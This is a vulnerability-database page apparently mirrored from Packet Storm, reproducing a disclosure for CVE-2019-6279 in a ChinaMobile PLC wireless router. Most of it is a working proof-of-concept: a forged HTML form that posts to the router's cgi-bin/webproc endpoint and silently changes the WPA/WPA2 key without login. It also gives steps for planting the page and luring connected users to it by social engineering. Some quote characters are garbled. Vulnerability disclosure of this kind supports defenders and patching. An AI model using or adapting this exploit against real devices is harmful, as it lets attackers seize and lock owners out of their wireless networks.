Lucene search

K
packetstormKumar SauravPACKETSTORM:152166
HistoryMar 20, 2019 - 12:00 a.m.

PLC Wireless Router GPN2.4P21-C-CN Incorrect Access Control

2019-03-2000:00:00
Kumar Saurav
packetstormsecurity.com
40

EPSS

0.027

Percentile

90.6%

`# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Incorrect Access  
Control  
# Date: 14/01/2019  
# Exploit Author: Kumar Saurav  
# Reference: https://0dayfindings.home.blog/2019/01/15/plc-wireless-router-gpn2-4p21-c-cn-incorrect-access-control/  
# Vendor: ChinaMobile  
# Category: Hardware  
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)  
# Tested on: Windows  
# CVE : CVE-2019-6279  
  
#Description: ChinaMobile PLC Wireless Router GPN2.4P21-C-CN devices with  
firmware  
W2001EN-00 have an Incorrect Access Control vulnerability via the  
cgi-bin/webproc?getpage=html/index.html  
subpage=wlsecurity URI, allowing an Attacker to change the Wireless  
Security Password.  
  
Reproduction Steps:  
Step 1: Building a malicious html web page  
Step 2: Attacker’s wants to change the wireless security (WPA/WPA2) key to  
“PSWDmatlo331#@!” (in my case)  
  
Step 3: (192.168.59.254 in my Case)  
<html>  
<body>  
<form method=”POST” action=”http://192.168.59.254:80/cgi-bin/webproc “>  
<input type=”text” name=”sessionid” value=”2a39a09e”>  
<input type=”text” name=”language” value=”en_us”>  
<input type=”text” name=”sys_UserName” value=”admin”>  
<input type=”text” name=”var:menu” value=”setup”>  
<input type=”text” name=”var:page” value=”wireless”>  
<input type=”text” name=”var:subpage” value=”wlsecurity”>  
<input type=”text” name=”var:errorpage” value=”wlsecurity”>  
<input type=”text” name=”getpage” value=”html/index.html”>  
<input type=”text” name=”errorpage” value=”html/index.html”>  
<input type=”text” name=”var:arrayid” value=”0?>  
<input type=”text” name=”obj-action” value=”set”>  
<input type=”text”  
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType ”  
value=”11i”>  
<input type=”text”  
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iEncryptionModes”  
value=”AESEncryption”>  
<input type=”text”  
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.IEEE11iAuthenticationMode”  
value=”PSKAuthentication”>  
<input type=”text”  
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_WPAGroupRekey”  
value=”100?>  
<input type=”text”  
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase”  
value=”PSWDmatlo331#@!”>  
<input type=”text”  
name=”:InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_PSKExpression”  
value=”KeyPassphrase”>  
<input type=”submit” value=”Send”>  
</form>  
</body>  
</html>  
  
Step 4: save this as Incorrect_Access_Control.html  
Step 5: Planting this malicious web page (Incorrect_Access_Control.html)  
that are likely to be visited by the victim’s (by social engineering) or  
any user connected in the Access Point (AP) will have to visit this page or  
any attacker’s connected in the AP will trigger this exploit.  
Step 6: After execution of above exploit, wireless security (WPA/WPA2) key  
will change!!  
  
Note: This vulnerability allowing an attacker to reproduce without login.  
`

EPSS

0.027

Percentile

90.6%